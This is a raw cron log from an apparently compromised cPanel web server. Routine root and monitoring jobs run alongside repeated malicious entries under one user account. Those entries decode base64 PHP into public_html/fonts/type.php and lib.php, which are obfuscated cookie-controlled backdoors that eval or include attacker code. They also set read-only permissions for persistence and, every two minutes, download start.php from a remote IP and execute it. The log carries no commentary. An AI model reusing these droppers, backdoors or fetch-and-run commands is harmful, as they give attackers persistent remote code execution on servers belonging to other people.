Feb 23 00:22:01 ip-184-168-122-23 CROND[31960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:23:01 ip-184-168-122-23 CROND[32350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:23:01 ip-184-168-122-23 CROND[32351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:23:01 ip-184-168-122-23 CROND[32352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:23:01 ip-184-168-122-23 CROND[32354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:24:01 ip-184-168-122-23 CROND[32666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:24:01 ip-184-168-122-23 CROND[32668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:24:01 ip-184-168-122-23 CROND[32667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:24:01 ip-184-168-122-23 CROND[32665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:24:01 ip-184-168-122-23 CROND[32670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:25:01 ip-184-168-122-23 CROND[532]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 23 00:25:01 ip-184-168-122-23 CROND[534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:25:01 ip-184-168-122-23 CROND[535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:25:01 ip-184-168-122-23 CROND[539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:25:01 ip-184-168-122-23 CROND[540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:25:01 ip-184-168-122-23 CROND[538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:25:01 ip-184-168-122-23 CROND[541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:26:01 ip-184-168-122-23 CROND[1123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:26:01 ip-184-168-122-23 CROND[1122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:26:01 ip-184-168-122-23 CROND[1124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:26:01 ip-184-168-122-23 CROND[1126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:26:01 ip-184-168-122-23 CROND[1125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:27:01 ip-184-168-122-23 CROND[1469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:27:01 ip-184-168-122-23 CROND[1473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:27:01 ip-184-168-122-23 CROND[1472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:27:01 ip-184-168-122-23 CROND[1471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:28:01 ip-184-168-122-23 CROND[1781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:28:01 ip-184-168-122-23 CROND[1783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:28:01 ip-184-168-122-23 CROND[1784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:28:01 ip-184-168-122-23 CROND[1782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:28:01 ip-184-168-122-23 CROND[1785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:29:01 ip-184-168-122-23 CROND[2138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:29:01 ip-184-168-122-23 CROND[2139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:29:01 ip-184-168-122-23 CROND[2141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:29:01 ip-184-168-122-23 CROND[2142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:30:01 ip-184-168-122-23 CROND[2474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:30:01 ip-184-168-122-23 CROND[2475]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 00:30:01 ip-184-168-122-23 CROND[2478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:30:01 ip-184-168-122-23 CROND[2476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:30:01 ip-184-168-122-23 CROND[2485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:30:01 ip-184-168-122-23 CROND[2481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:30:01 ip-184-168-122-23 CROND[2483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:30:01 ip-184-168-122-23 CROND[2484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:30:01 ip-184-168-122-23 CROND[2482]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Feb 23 00:31:02 ip-184-168-122-23 CROND[2910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:31:02 ip-184-168-122-23 CROND[2912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:31:02 ip-184-168-122-23 CROND[2917]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 00:31:02 ip-184-168-122-23 CROND[2916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:31:02 ip-184-168-122-23 CROND[2913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:32:01 ip-184-168-122-23 CROND[3244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:32:01 ip-184-168-122-23 CROND[3242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:32:01 ip-184-168-122-23 CROND[3243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:32:01 ip-184-168-122-23 CROND[3247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:32:01 ip-184-168-122-23 CROND[3250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:33:01 ip-184-168-122-23 CROND[3556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:33:01 ip-184-168-122-23 CROND[3558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:33:01 ip-184-168-122-23 CROND[3559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:33:01 ip-184-168-122-23 CROND[3560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:34:01 ip-184-168-122-23 CROND[3909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:34:01 ip-184-168-122-23 CROND[3911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:34:01 ip-184-168-122-23 CROND[3912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:34:01 ip-184-168-122-23 CROND[3914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:34:01 ip-184-168-122-23 CROND[3910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
